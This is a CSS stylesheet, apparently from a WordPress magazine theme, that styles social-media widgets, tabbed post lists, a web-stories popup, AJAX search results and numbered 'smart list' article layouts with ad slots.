.pc-widget-user-lists .pc-uw-ava {
	padding-right: 15px
}
.pc-widget-user-lists .pc-uw-ava img {
	width: 100%;
	height: auto
}
.pc-widget-user-lists .name a {
	font-size: 16px;
	line-height: 1.3
}
.pc-widget-user-lists .name a:hover {
	text-decoration: none
}
.pc-widget-user-lists .count {
	display: block;
	margin-top: 5px;
	color: var(--pcmeta-cl);
	line-height: 1
}
.penci_posts_tabs_widget .tabs {
	border-bottom: 1px solid var(--pcborder-cl);
	padding-bottom: 15px;
	margin-bottom: 20px;
	overflow: hidden
}
.penci_posts_tabs_widget .tabs ul>li {
	border: 0;
	padding: 0;
	margin: 0;
	float: left
}
.penci_posts_tabs_widget.el ul {
	padding-left: 0;
	margin-bottom: 0
}
.penci_posts_tabs_widget.el ul li {
	list-style: none
}
.penci_posts_tabs_widget .tabs ul {
	display: flex
}
.penci_posts_tabs_widget .default-tabs .tabs ul {
	justify-content: space-between
}
.penci_posts_tabs_widget .box-tabs .tabs ul>li {
	float: none;
	flex-grow: 1;
	flex-basis: 0;
	text-align: center
}
.penci_posts_tabs_widget .box-tabs .tabs ul>li:not(:last-child) {
	margin-right: 0
}
.penci_posts_tabs_widget .box-tabs .tabs {
	border-bottom: 0;
	padding-bottom: 0
}
.penci_posts_tabs_widget .box-tabs .tabs ul>li a {
	display: block;
	border: 1px solid var(--pcborder-cl);
	border-right-width: 0;
	padding: 15px 2px
}
.penci_posts_tabs_widget .box-tabs .tabs ul>li.active a {
	background: rgba(136, 136, 136, .1)
}
.penci_posts_tabs_widget .box-tabs .tabs ul>li:last-child a {
	border-right-width: 1px
}
.penci_posts_tabs_widget .show-icon .tabs ul>li a:before {
	font-family: FontAwesome;
	display: inline-block;
	margin-right: 5px
}
.penci_posts_tabs_widget .show-icon .tabs ul>li.li-tab-recent a:before {
	content: "\f0f6"
}
.penci_posts_tabs_widget .show-icon .tabs ul>li.li-tab-popular a:before {
	content: "\f06d"
}
.penci_posts_tabs_widget .show-icon .tabs ul>li.li-tab-comments a:before {
	content: "\f086"
}
.penci_posts_tabs_widget .tabs ul>li a {
	text-transform: uppercase;
	font-weight: 700;
	text-decoration: none
}
.penci_posts_tabs_widget .tabs ul>li:not(:last-child) {
	margin-right: 20px
}
.penci_posts_tabs_widget .tabs-content>div,
.penci_posts_tabs_widget .tabs>li {
	display: none
}
.penci_posts_tabs_widget .tabs-content>div.active {
	display: block
}
.penci_posts_tabs_widget .tabs>li.active {
	display: inline-block
}
.penci_posts_tabs_widget .tabs ul>li.active a {
	color: var(--pcaccent-cl)
}
.penci_posts_tabs_widget .recent-comments li {
	display: flex;
	flex-direction: row;
	align-items: center;
	margin-bottom: 15px;
	padding-bottom: 15px
}
.penci_posts_tabs_widget .recent-comments .avatar {
	flex: 0 0 50px;
	margin-right: 15px
}
.penci_posts_tabs_widget .author-info {
	line-height: 1.5;
	display: block;
	color: var(--pcmeta-cl)
}
.pc-widget-advanced-tax.tax-style-1 ul li a {
	background-color: transparent !important
}
.penci_snapchat_widget .pc-snapchat-badge {
	display: block;
	background-repeat: no-repeat;
	background-position: center;
	font-size: 0;
	line-height: 0;
	border: 3px solid var(--pcborder-cl);
	overflow: hidden;
	width: 170px;
	height: 170px;
	margin: 0 auto;
	border-radius: 20px;
	transition: all .25s;
	position: relative;
	background-color: transparent !important
}
.penci_snapchat_widget.pcsnapal-left .pc-snapchat-badge {
	margin-right: auto;
	margin-left: 0
}
.penci_snapchat_widget.pcsnapal-right .pc-snapchat-badge {
	margin-right: 0;
	margin-left: auto
}
.penci_snapchat_widget .pc-snapchat-badge-over {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	background-color: transparent !important;
	z-index: 3
}
.penci_snapchat_widget .pc-snapchat-avatar {
	position: absolute;
	width: 60px;
	height: 60px;
	top: 50%;
	left: 50%;
	right: 50%;
	transform: translateX(-50%) translateY(-50%);
	border-radius: 20px;
	background-color: transparent;
	z-index: 1
}
.penci_snapchat_widget .pc-snapchat-badge.is-circle,
.penci_snapchat_widget .pc-snapchat-badge.is-circle .pc-snapchat-avatar {
	border-radius: 100%
}
.penci_snapchat_widget .pc-snapchat-wrapper a:hover {
	color: var(--pcaccent-cl);
	text-decoration: none
}
.penci_snapchat_widget .pc-snapchat-wrapper .pc-snapchat-id,
.penci_snapchat_widget .pc-snapchat-wrapper .pc-snapchat-name {
	text-align: center;
	display: block
}
.penci_snapchat_widget.pcsnapal-left .pc-snapchat-wrapper .pc-snapchat-id,
.penci_snapchat_widget.pcsnapal-left .pc-snapchat-wrapper .pc-snapchat-name {
	text-align: left
}
.penci_snapchat_widget.pcsnapal-right .pc-snapchat-wrapper .pc-snapchat-id,
.penci_snapchat_widget.pcsnapal-right .pc-snapchat-wrapper .pc-snapchat-name {
	text-align: right
}
.penci_snapchat_widget .pc-snapchat-wrapper .pc-snapchat-name {
	margin-top: 10px;
	font-size: 20px;
	font-weight: 700
}
.penci_tiktok_widget .tiktok-feed-feed .tiktok-feed-list .tiktok-feed-item {
	padding: 6px !important
}
.penci_tiktok_widget .tiktok-feed-feed .tiktok-feed-list .tiktok-feed-item .tiktok-feed-icon>span,
.penci_tiktok_widget .tiktok-feed-feed .tiktok-feed-list .tiktok-feed-item .tiktok-feed-video-mask-content>span {
	font-weight: 400 !important;
	font-size: 13px !important
}
.penci_tiktok_widget .tiktok-feed-feed .tiktok-feed-actions {
	margin-bottom: 0;
	margin-right: -5px;
	margin-left: -5px
}
.penci_tiktok_widget .tiktok-feed-feed .tiktok-feed-actions .tiktok-feed-button {
	width: 100%;
	margin: 0
}
.penci_tiktok_widget .tiktok-feed-feed .tiktok-feed-actions .tiktok-feed-button:hover {
	box-shadow: 0 8px 19px -4px #ff5374
}
.pc-tiktok-avatar a {
	width: 70px;
	height: 70px;
	display: block;
	position: relative;
	float: left;
	margin-right: 15px
}
.pc-tiktok-avatar img {
	border-radius: 50%
}
.pc-tiktok-username {
	display: block;
	font-size: 1.35em
}
.pc-tiktok-verified {
	background-color: #20d5ec;
	color: #fff;
	border-radius: 50%;
	font-size: 12px;
	padding: 4px;
	margin: 0 5px
}
.pc-tiktok-desc {
	margin-top: 8px
}
.pc-tiktok-counts {
	padding: 10px 0
}
.pc-tiktok-counts li {
	display: inline-block;
	padding: 0 10px 0 0
}
.pc-tiktok-counts .counts-number {
	font-weight: 700
}
.pc-tiktok-counts span:last-child {
	opacity: .7;
	font-size: 90%
}
.penci_comments_widget ul li {
	display: flex
}
.penci_comments_widget ul li .post-widget-thumbnail {
	align-self: center
}
.penci_comments_widget ul li .comment-body {
	padding-left: 15px;
	align-self: center
}
.penci-tweets-lists .penci-tweet:not(:last-child) {
	margin-bottom: 15px;
	padding-bottom: 15px;
	border-bottom: 1px solid var(--pcborder-cl)
}
.penci-tweets-lists .tweet-intents span:after,
.penci-tweets-lists .tweet-intents-inner:after,
.penci-tweets-lists .tweet-intents-inner:before {
	display: none
}
.penci-tweets-lists .tweet-intents-inner a:hover {
	text-decoration: none;
	opacity: .85
}
.penci-tweets-lists .tweet-intents-inner>span:not(:last-child) {
	margin-right: 10px
}
.penci-tweets-lists .tweet-date {
	line-height: 1;
	display: block
}
.penci-tweets-lists .penci-tweet {
	position: relative
}
.penci-tweets-lists .penci-tweet:before {
	font-family: FontAwesome;
	position: absolute;
	top: 0;
	font-size: 24px;
	content: "\f099";
	right: 0;
	color: #2196f3;
	opacity: .6
}
.penci-tweets-lists .tweet-intents-inner>span a {
	color: var(--pcmeta-cl)
}
.pc-widget-advanced-tax.tax-style-1.hlmark .category-item-count {
	display: inline-block;
	padding: 2px 3px;
	background-color: var(--pcaccent-cl);
	color: #fff;
	font-size: 11px;
	border-radius: 2px
}
.pc-widget-advanced-tax.tax-style-2 ul {
	margin: 0;
	padding: 0
}
.pc-widget-advanced-tax.tax-style-2 ul li {
	display: inline-block
}
.elementor-widget-penci-advanced-categories .pc-widget-advanced-tax.tax-style-3 select {
	padding: 10px 15px;
	border: 1px solid var(--pcborder-cl);
	background: 0 0
}
.wpcf7 .ajax-loader {
	display: none
}
.wpcf7 form.submitting .ajax-loader {
	display: inline-block
}
.pc-widget-user-lists ul,
.widget.pcel-acat .pc-widget-advanced-tax>ul {
	padding-left: 0;
	margin-bottom: 0
}
.pc-widget-user-lists.el .name {
	margin-bottom: 5px
}
.pc-widget-user-lists.el ul li:not(:last-child) {
	border-bottom: 1px solid var(--pcborder-cl);
	padding-bottom: 5px;
	margin-bottom: 5px
}
.pc-widget-user-lists.el ul li:last-child {
	margin: 0;
	padding: 0
}
.penci_comments_widget.el ul {
	padding-left: 0;
	margin-bottom: 0
}
.penci_comments_widget.el ul li:last-child {
	margin-bottom: 0;
	padding-bottom: 0
}
.post-entry.blockquote-style-1 .tiktok-embed,
.post-entry.blockquote-style-2 .tiktok-embed,
.tiktok-embed {
	padding: 0;
	margin: 0;
	border: 0
}
.post-entry.blockquote-style-1 .tiktok-embed:after,
.post-entry.blockquote-style-1 .tiktok-embed:before,
.post-entry.blockquote-style-2 .tiktok-embed:after,
.post-entry.blockquote-style-2 .tiktok-embed:before,
.tiktok-embed:after,
.tiktok-embed:before {
	display: none
}
.pc-wstories {
	--gap: 5px;
	overflow: hidden
}
.pc-wstories-wrapper .pc-wstories-list {
	margin-left: calc(var(--gap) * -1);
	margin-right: calc(var(--gap) * -1);
	display: flex;
	flex-wrap: wrap;
	flex-direction: row
}
.pc-wstories-wrapper .pc-wstories-list.slider {
	margin-left: 0;
	margin-right: 0
}
.pc-wstories-wrapper .pc-wstories-list.one-row {
	flex-wrap: nowrap;
	overflow-x: auto;
	cursor: grab
}
.pc-wstories-wrapper .pc-webstory-item {
	width: 8.3333333333%;
	padding-left: var(--gap);
	padding-right: var(--gap);
	cursor: pointer;
	transition: opacity .2s;
	-webkit-transition: opacity .2s;
	-moz-transition: opacity .2s
}
.pc-wstories-wrapper .slider .pc-webstory-item {
	width: 100%
}
.pc-wstories-wrapper .grid .pc-webstory-item {
	margin-bottom: var(--gap)
}
.pc-wstories-wrapper .grid {
	margin-bottom: calc(var(--gap) * -1)
}
.pc-wstories-wrapper .pc-wstories-list.one-row .pc-webstory-item {
	width: 100px;
	flex: 0 0 100px;
	cursor: grab
}
.pc-wstories-wrapper .pc-webstory-thumb-wrapper {
	border-radius: 50%;
	overflow: hidden;
	background-color: var(--pcaccent-cl);
	padding: 2px;
	cursor: pointer
}
.pc-wstories-wrapper .pc-webstory-item.seen .pc-webstory-thumb-wrapper {
	background-color: gray
}
.pc-wstories-wrapper .pc-webstory-thumb {
	border-radius: 50%;
	border: 2px solid var(--pcbg-cl)
}
.pc-wstories-wrapper .pc-webstory-thumb:before {
	padding-top: 100%
}
.pc-wstories-wrapper .pc-webstory-item-title {
	display: block
}
.pc-wstories-wrapper .pc-webstory-item-title h4 {
	text-align: center;
	font-size: 14px;
	margin: 5px 0 0;
	text-overflow: ellipsis;
	overflow: hidden;
	white-space: nowrap
}
.pc-wstories-popup-wrapper {
	position: fixed;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 9999999;
	opacity: 0;
	visibility: hidden;
	transition: .3s all ease-in-out;
	background-color: #000
}
.pc-wstories-popup-content {
	opacity: 0;
	visibility: hidden;
	transition: .3s all ease-in-out
}
.pc-wstories-popup-content iframe {
	width: 100vw;
	height: 100vh
}
.pc-wstories-popup-wrapper.loading,
.pc-wstories-popup-wrapper.show,
.pc-wstories-popup-wrapper.show .pc-wstories-popup-content {
	opacity: 1;
	visibility: visible
}
.pc-wstories-popup-wrapper.loading .penci-loader-effect {
	display: block
}
.pc-wstories-popup-wrapper .pc-wstories-popup-toolbar {
	position: absolute;
	top: 30px;
	left: 30px;
	z-index: 99999999
}
.pc-wstories-popup-wrapper .pc-ws-btn {
	cursor: pointer;
	color: #fff;
	font-size: 14px;
	display: inline-block;
	margin-right: 30px
}
.pc-wstories-popup-wrapper .pc-story-info {
	cursor: initial
}
.pc-wstories-popup-wrapper .pc-ws-btn.disable {
	pointer-events: none;
	opacity: .3
}
body.pc-webstories-show {
	overflow: hidden
}
.pc-wstories-wrapper .pc-wstories-list.slider {
	display: block;
	overflow: hidden
}
.yt-video-place .fluid-width-video-wrapper,
.yt-video-place iframe {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 9;
	width: 100%;
	height: 100%
}
.penci-search-form form.penci-ajax-search button,
.penci-search-form form.penci-ajax-search input {
	border: 0
}
.penci-search-form form.penci-ajax-search {
	display: flex;
	align-self: center;
	flex-direction: row;
	flex-wrap: wrap;
	justify-content: space-between;
	padding: 0
}
.penci-search-form form.penci-ajax-search .pc-eajxsearch button {
	height: 40px
}
.penci-search-form form.penci-ajax-search input {
	font-family: inherit;
	border: 1px solid var(--pcborder-cl)
}
.penci-search-form form.penci-ajax-search button {
	font-size: 0;
	position: relative;
	padding-right: 20px;
	padding-left: 20px;
	border-left: 1px solid var(--pcborder-cl);
	background-color: var(--pcaccent-cl);
	color: #fff
}
.search-style-text-button form.penci-ajax-search button {
	font-size: 13px
}
.search-style-default form.penci-ajax-search .searchsubmit {
	display: block;
	background: 0 0;
	margin: 0;
	border: 0;
	position: absolute;
	top: 0;
	bottom: 0;
	right: 0;
	color: inherit
}
.search-style-default form.penci-ajax-search .searchsubmit:before {
	border-color: #f1f1f1;
	border-left-color: var(--pcmeta-cl)
}
.search-style-text-button form.search-loading button span {
	opacity: 0
}
.search-style-text-button form.penci-ajax-search button:before {
	visibility: visible
}
.search-style-text-button form.penci-ajax-search button:after {
	display: none
}
@keyframes lds-dual-ring {
	100% {
		transform: rotate(360deg)
	}
}
.header-search-style-default .pcajx-search-loading.show-search a.close-search i:after,
.header-search-style-overlay .show-search .penci-search-form form button:after,
.penci-search-form form.penci-ajax-search button:before {
	font-family: inherit !important;
	line-height: 0;
	position: absolute;
	z-index: 2;
	top: calc(50% - 7px);
	right: 50%;
	left: 50%;
	display: block;
	visibility: hidden;
	width: 14px;
	height: 14px;
	margin: 0 0 0 -9px;
	content: " " !important;
	animation: lds-dual-ring .5s linear infinite;
	vertical-align: middle;
	opacity: 1;
	border: 1px solid rgba(255, 255, 255, .5);
	border-left-color: var(--pcbg-cl);
	border-radius: 50%
}
.penci-search-form form.penci-ajax-search button:after {
	font-family: penciicon;
	font-size: 16px;
	line-height: 16px;
	content: "\f108"
}
.penci-search-form form.penci-ajax-search .pc-eajxsearch button:after {
	display: none
}
.penci-search-form .search-loading.penci-ajax-search button:after,
.penci-search-form .search-loading.penci-ajax-search button>span {
	visibility: hidden
}
.header-search-style-overlay .show-search .penci-search-form .search-loading.penci-ajax-search button:after,
.penci-search-form .search-loading.penci-ajax-search button:before {
	visibility: visible
}
.header-search-style-overlay .show-search.active form.pc-searchform.penci-ajax-search .searchsubmit {
	display: block;
	position: absolute;
	top: 0;
	bottom: 0;
	right: 10px;
	height: 100%
}
.header-search-style-overlay .show-search.active form.pc-searchform.penci-ajax-search button:before {
	top: calc(50% - 12px);
	width: 24px;
	height: 24px;
	margin: 0 0 0 -20px
}
.search-results-wrapper {
	position: relative;
	top: 0
}
.search-results-wrapper .penci-dropdown-results {
	position: absolute;
	z-index: 30;
	top: 0;
	right: 0;
	left: 0;
	border-bottom: 1px solid var(--pcajs_bcl);
	background-color: var(--pcajs_bgcl);
	opacity: 0
}
.search-results-wrapper .penci-dropdown-results.penci-opened {
	opacity: 1
}
.search-results-wrapper .autocomplete-suggestions {
	width: 100%;
	border: 0;
	background-color: var(--pcajs_bgcl);
	position: relative;
	max-height: 300px;
	box-shadow: none
}
.search-results-wrapper .autocomplete-suggestions .autocomplete-suggestion {
	white-space: normal;
	color: var(--pctext-cl)
}
.search-results-wrapper .no-found-msg {
	font-size: var(--pcajs_nfz);
	line-height: 1.2;
	text-align: center;
	display: block;
	width: 100%;
	font-weight: 700;
	padding: 0 20px
}
.header-search-style-overlay .show-search.active .search-results-wrapper .no-found-msg {
	color: rgba(255, 255, 255, .7);
	text-align: center
}
.widget.penci_search_box_widget .search-results-wrapper .no-found-msg {
	color: var(--pctext-cl)
}
.widget.penci_search_box_widget .search-loading button span {
	color: transparent
}
.search-results-wrapper .penci-dropdown-results.penci-opened,
.widget.penci_search_box_widget .penci-opened .penci-search-results-wrapper {
	-moz-box-shadow: 0 2px 3px rgba(190, 190, 190, .4);
	-webkit-box-shadow: 0 2px 3px rgba(190, 190, 190, .4);
	box-shadow: 0 2px 3px rgba(190, 190, 190, .4)
}
.penci-scroll-content {
	overflow: hidden;
	overflow-y: visible
}
.penci-ajax-search .inner-hbg-search-form {
	display: flex;
	flex: 1 1 100%;
	justify-content: space-between
}
.search-results-wrapper .autocomplete-suggestions {
	display: flex;
	flex-wrap: wrap;
	left: 0;
	width: 100%;
	border-top: 0;
	padding: 10px 0
}
.header-search-style-default .penci-search-form form button,
.header-search-style-default .show-search a.close-search {
	transition: all .3s ease-in-out
}
.header-search-style-default .pcajx-search-loading.show-search a.close-search i:before {
	visibility: hidden
}
.header-search-style-default .penci-search-form form button {
	opacity: 0
}
.header-search-style-default .pcajx-search-loading.show-search a.close-search i:after {
	visibility: visible;
	border-color: #f1f1f1;
	border-left-color: var(--pcmeta-cl)
}
.header-search-style-default .pcajx-search-loading.show-search .penci-search-form form button {
	opacity: 1
}
.header-search-style-default .pcajx-search-loading.show-search .penci-search-form form button:before {
	border-color: var(--pcmeta-cl);
	border-left-color: var(--pctext-cl)
}
.header-search-style-default .search-results-wrapper .no-found-msg {
	text-align: left
}
.penci-search-results .autocomplete-suggestion {
	line-height: 1;
	display: flex;
	flex: 1 1 100%;
	max-width: 100%;
	padding: 5px 20px;
	cursor: pointer;
	transition: all .3s ease
}
@media only screen and (min-width:1170px) {
	.header-search-style-default .penci-search-results .autocomplete-suggestion {
		flex: 1 1 25%;
		max-width: 25%
	}
}
@media only screen and (min-width:768px) and (max-width:1169px) {
	.header-search-style-default .penci-search-results .autocomplete-suggestion {
		flex: 1 1 50%;
		max-width: 50%
	}
}
.penci-search-results .autocomplete-suggestion .suggestion-thumb {
	flex: 0 0 auto;
	max-width: 70px;
	width: 70px;
	margin-right: 15px;
	padding: 5px 0
}
.penci-search-results .autocomplete-suggestion .suggestion-thumb i {
	position: absolute;
	width: 24px;
	height: 24px;
	line-height: 24px;
	left: 50%;
	top: 50%;
	margin: -11px 0 0 -11px;
	border-radius: 50%;
	-webkit-border-radius: 50%;
	-moz-border-radius: 50%;
	font-size: 12px;
	transition: all .25s;
	-webkit-transition: all .25s;
	-moz-transition: all .25s;
	border: 1px solid rgba(255, 255, 255, .9);
	background: rgba(0, 0, 0, .4);
	color: rgba(255, 255, 255, .9);
	text-align: center
}
.penci-search-results .autocomplete-suggestion .suggestion-content {
	display: flex;
	flex-wrap: wrap;
	flex-direction: column;
	align-self: center
}
.penci-search-results .autocomplete-suggestion .suggestion-thumb .penci-image-holder:before {
	padding-top: 100%
}
.penci-search-results .autocomplete-suggestion .penci-post-title {
	font-size: var(--pcajs_tfz);
	line-height: initial;
	margin: 0;
	color: var(--pcajs_tcl)
}
.penci-search-results .autocomplete-suggestion .penci-post-title a {
	color: var(--pcajs_tcl)
}
.penci-search-results .autocomplete-suggestion .penci-post-title a:hover,
.penci-search-results .autocomplete-suggestion.autocomplete-selected .penci-post-title,
.penci-search-results .autocomplete-suggestion:hover .penci-post-title {
	color: var(--pcajs_thcl)
}
.penci-search-results .autocomplete-suggestion .post-date {
	color: var(--pcajs_mcl);
	font-size: var(--pcajs_mfz);
	margin-top: 7px
}
.penci-search-results .autocomplete-suggestion.autocomplete-selected .post-date,
.penci-search-results .autocomplete-suggestion:hover .post-date {
	color: var(--pcajs_mhcl)
}
.penci-search-results .autocomplete-suggestion .price {
	color: var(--pcaccent-cl);
	font-weight: var(--pchead-wei)
}
.penci-search-results .autocomplete-suggestion .suggestion-sku {
	font-size: var(--pcajs_mfz)
}
.penci-search-results .autocomplete-suggestion del {
	font-size: 80%
}
.penci-search-results .autocomplete-suggestion ins {
	text-decoration: none
}
.penci-search-results .autocomplete-suggestion.suggestion-divider {
	flex-basis: 100% !important;
	width: 100%;
	cursor: default;
	background-color: var(--pcajs_bcl)
}
.autocomplete-suggestion.suggestion-divider h5 {
	margin-bottom: 0;
	text-transform: uppercase
}
.view-all-results {
	font-weight: var(--pchead-wei);
	line-height: 40px;
	flex: 1 1 100%;
	height: 40px;
	margin-bottom: -1px;
	cursor: pointer;
	transition: all .25s ease;
	text-align: center;
	border-top: 1px solid var(--pcajs_bcl);
	font-size: 13px
}
.view-all-results a {
	color: var(--pcajs_ncl)
}
.pcbds-overlay .view-all-results a {
	color: #fff
}
.pcbds-overlay .view-all-results a:hover,
.view-all-results a:hover {
	color: var(--pcaccent-cl)
}
.header-search-style-default .penci-search-form form {
	border: 0
}
.header-search-style-default .search-results-wrapper .penci-dropdown-results {
	border: 0;
	top: 1px
}
.header-search-style-default .search-results-wrapper .penci-search-form form input {
	width: unset
}
.header-search-style-default .penci-search-form,
.header-search-style-default .penci-search-form form button,
.header-search-style-default .penci-search-form form input,
.header-search-style-default .searchform {
	height: 100%
}
.header-search-style-default .penci-search-form form button,
.header-search-style-default .penci-search-form form input {
	width: unset
}
.header-search-style-default .penci-search-form form.penci-ajax-search input {
	width: calc(100% - 60px)
}
.header-search-style-default .penci-search-form form button {
	background-color: transparent;
	color: var(--pcheading-cl);
	border: 0
}
.header-search-style-default .penci-search-form form.penci-ajax-search button {
	visibility: hidden
}
.autocomplete-suggestions::-webkit-scrollbar {
	width: 2px
}
.autocomplete-suggestions::-webkit-scrollbar-track {
	background-color: var(--pcbg-cl)
}
.autocomplete-suggestions::-webkit-scrollbar-thumb {
	background-color: var(--pcmeta-cl)
}
.pcsb-csf .post-box-meta-single {
	margin: 0
}
.pcsb-csf .post-box-meta-single img {
	vertical-align: middle
}
.pcsml-el .pcsml-item {
	position: relative
}
.pcsml-el .post-entry {
	margin-bottom: 0
}
.pcsml-el .pcsml-ad .pcsml-placeholder-title:before {
	content: "Smart List Ad" !important
}
.pcsml-el {
	margin-bottom: 0
}
.pcsml-el .pcsml-ad {
	clear: both;
	text-align: center
}
.pcsml-el .pcsml-ad>div {
	margin-top: 0
}
.pcsml-el .pcsml-ad img {
	margin: 0;
	width: 100%
}
.pcsml-el .pcsml-ad .adsbygoogle {
	margin-top: 0;
	position: relative;
	left: 50%;
	-webkit-transform: translateX(-50%);
	transform: translateX(-50%)
}
.pcsml-desc {
	display: block
}
.pcsml-el .pcsml-ad .pcsml-placeholder-title:before {
	content: "Smart List Ad"
}
.pcsml-title-wrapper {
	width: 100%
}
.pcsml-title-wrapper h1,
.pcsml-title-wrapper h2,
.pcsml-title-wrapper h3,
.pcsml-title-wrapper h4,
.pcsml-title-wrapper h5,
.pcsml-title-wrapper h6 {
	margin: 0
}
.pcsml-item-number span {
	display: block;
	background-color: var(--pcheading-cl);
	font-weight: 700;
	text-align: center;
	color: var(--pcbg-cl)
}
.pcsml-item-title {
	font-weight: 700
}
.pcsml-figure img {
	display: inline-block;
	vertical-align: top
}
.pcsml-caption {
	font-style: italic;
	font-size: 12px;
	line-height: 18px;
	margin-top: 5px;
	margin-bottom: 20px
}
.pcsml_style_1 .pcsml-item-number,
.pcsml_style_1 .pcsml-item-title {
	display: table-cell
}
.pcsml_style_1 .pcsml-item-title {
	vertical-align: middle
}
.pcsml_style_1 .pcsml-item {
	margin-bottom: 50px
}
.pcsml_style_1 .pcsml-title-wrapper {
	margin-bottom: 20px;
	position: relative
}
.pcsml_style_1 h1,
.pcsml_style_1 h2,
.pcsml_style_1 h3,
.pcsml_style_1 h4,
.pcsml_style_1 h5,
.pcsml_style_1 h6 {
	margin: 2px 0 0
}
.pcsml_style_1 .pcsml-item-number span {
	padding: 0 5px;
	font-size: 22px;
	line-height: 36px;
	min-width: 36px
}
.pcsml_style_1 .pcsml-item-title {
	width: 100%;
	padding-left: 15px;
	font-size: 22px;
	line-height: 1.3
}
.pcsml_style_2 .pcsml-info {
	overflow: hidden
}
.pcsml_style_2 .pcsml-item-number,
.pcsml_style_2 .pcsml-item-title {
	display: table-cell
}
.pcsml_style_2 .pcsml-item-title {
	vertical-align: middle
}
.pcsml_style_2 .pcsml-item {
	width: 100%;
	padding: 30px 0;
	border-bottom: 1px solid var(--pcborder-cl)
}
.pcsml_style_2 .pcsml-item:first-child {
	padding-top: 9px
}
.pcsml_style_2 .pcsml-item:last-of-type {
	border-bottom: none
}
.pcsml_style_2 .pcsml-item-number span {
	font-size: 18px;
	min-width: 32px;
	min-height: 32px;
	line-height: 32px
}
.pcsml_style_2 .pcsml-item-title {
	font-size: 18px;
	line-height: 24px;
	padding-left: 14px
}
.pcsml_style_2 .pcsml-figure {
	vertical-align: top;
	width: 170px
}
.pcsml_style_2 .pcsml-caption {
	line-height: 14px;
	margin-bottom: 0
}
.pcsml_style_2 .pcsml-desc {
	margin-top: 11px
}
@media only screen and (min-width:768px) {
	.pcsml_style_2 .pcsml-item {
		display: flex
	}
	.pcsml_style_2 .pcsml-figure,
	.pcsml_style_2 .pcsml-info {
		display: table-cell
	}
	.pcsml_style_2 .pcsml-info {
		flex: 1
	}
	.pcsml_style_2 .pcsml-figure {
		padding-left: 20px
	}
}
@media only screen and (max-width:767px) {
	.pcsml_style_2 {
		text-align: center
	}
	.pcsml_style_2 .pcsml-figure,
	.pcsml_style_2 h1,
	.pcsml_style_2 h2,
	.pcsml_style_2 h3,
	.pcsml_style_2 h4,
	.pcsml_style_2 h5,
	.pcsml_style_2 h6 {
		display: inline-block
	}
}
.pcsml_style_3 .pcsml-item {
	margin-bottom: 50px
}
.pcsml_style_3 .pcsml-figure {
	position: relative
}
.pcsml_style_3 figcaption div:before {
	content: "";
	position: absolute;
	bottom: 0;
	left: 0;
	display: block;
	height: 150%;
	width: 100%;
	background: -webkit-linear-gradient(top, rgba(0, 0, 0, 0) 0, rgba(0, 0, 0, .9) 100%);
	background: linear-gradient(to bottom, rgba(0, 0, 0, 0) 0, rgba(0, 0, 0, .9) 100%);
	z-index: -1
}
.pcsml_style_3 figcaption div:empty {
	display: none
}
.pcsml_style_3 .pcsml-caption {
	position: absolute;
	bottom: 0;
	left: 0;
	right: 0;
	text-align: right;
	color: var(--pcbg-cl);
	margin-bottom: 0;
	padding: 12px 16px;
	z-index: 1
}
.pcsml_style_3 .pcsml-item-number {
	position: absolute;
	top: 0;
	left: 0;
	z-index: 1
}
.pcsml_style_3 .pcsml-item-number span {
	background-color: rgba(0, 0, 0, .8);
	min-width: 44px;
	min-height: 44px;
	font-family: var(--pchead-font);
	font-size: 26px;
	line-height: 44px
}
.pcsml_style_3 h1,
.pcsml_style_3 h2,
.pcsml_style_3 h3,
.pcsml_style_3 h4,
.pcsml_style_3 h5,
.pcsml_style_3 h6 {
	margin: 0
}
.pcsml_style_3 .pcsml-title-wrapper {
	margin-bottom: 17px;
	margin-top: 20px
}
.pcsml_style_3 .pcsml-item-title {
	font-size: 22px;
	line-height: 26px
}
.pcsml_style_3 .pcsml-desc {
	margin-top: 0
}
.pcsml-pagination {
	text-align: center;
	margin-bottom: 26px
}
.pcsml-button {
	font-family: var(--pchead-font);
	line-height: 40px;
	background-color: var(--pcheading-cl);
	color: #fff !important;
	padding: 11px 24px;
	font-size: 16px;
	font-style: normal;
	text-align: center;
	-webkit-transition: background-color .2s ease 0s;
	transition: background-color .2s ease 0s;
	cursor: pointer;
	margin: 0 10px;
	text-decoration: none !important
}
.pcsml-button:hover {
	background-color: var(--pcaccent-cl)
}
.pcsml-button .penciicon-left-chevron {
	font-size: 12px;
	position: relative;
	top: 1px;
	padding-right: 16px
}
.pcsml-button .penciicon-right-chevron {
	font-size: 12px;
	position: relative;
	top: 1px;
	padding-left: 16px
}
.pcsm-disable {
	opacity: .5;
	cursor: default;
	-webkit-user-select: none;
	-moz-user-select: none;
	user-select: none
}
.pcsm-disable:hover {
	background-color: var(--pcheading-cl)
}
.pcsml_style_4 .pcsml-item-number,
.pcsml_style_4 .pcsml-item-title {
	display: table-cell
}
.pcsml_style_4 .pcsml-item-title {
	vertical-align: middle
}
.pcsml_style_4 .pcsml-ad .adsbygoogle,
.pcsml_style_4 .pcsml-ad .pcsml-placeholder-title,
.pcsml_style_4 .pcsml-ad>div {
	margin-bottom: 16px
}
.pcsml_style_4 {
	position: relative
}
.pcsml_style_4 h1,
.pcsml_style_4 h2,
.pcsml_style_4 h3,
.pcsml_style_4 h4,
.pcsml_style_4 h5,
.pcsml_style_4 h6 {
	margin: 2px 0 0
}
.pcsml_style_4 .pcsml-title-wrapper {
	margin-bottom: 21px
}
.pcsml_style_4 .pcsml-item-number span {
	min-width: 37px;
	min-height: 37px;
	font-size: 22px;
	line-height: 37px
}
.pcsml_style_4 .pcsml-item-title {
	margin-top: 5px;
	padding-left: 19px;
	font-size: 22px;
	line-height: 26px
}
.pcsml_style_4 .pcsml-figure {
	text-align: center;
	display: table;
	margin-left: auto;
	margin-right: auto
}
.pcsml_style_4 .pcsml-figure img {
	width: 100%
}
.pcsml_style_4 .pcsml-desc {
	margin-top: 0
}
.pcsml_style_4 .pcsml-pagination {
	margin-top: 26px
}
@media only screen and (max-width:767px) {
	.pcsml_style_4 {
		margin-top: 20px
	}
	.pcsml_style_4 h1,
	.pcsml_style_4 h2,
	.pcsml_style_4 h3,
	.pcsml_style_4 h4,
	.pcsml_style_4 h5,
	.pcsml_style_4 h6 {
		text-align: center;
		margin: 0
	}
	.pcsml_style_4 .pcsml-title-wrapper {
		margin-bottom: 10px
	}
	.pcsml_style_4 .pcsml-item-number {
		display: inline-block
	}
	.pcsml_style_4 .pcsml-item-title {
		display: inline-block;
		width: 100%;
		margin-top: 10px;
		padding-left: 0
	}
}
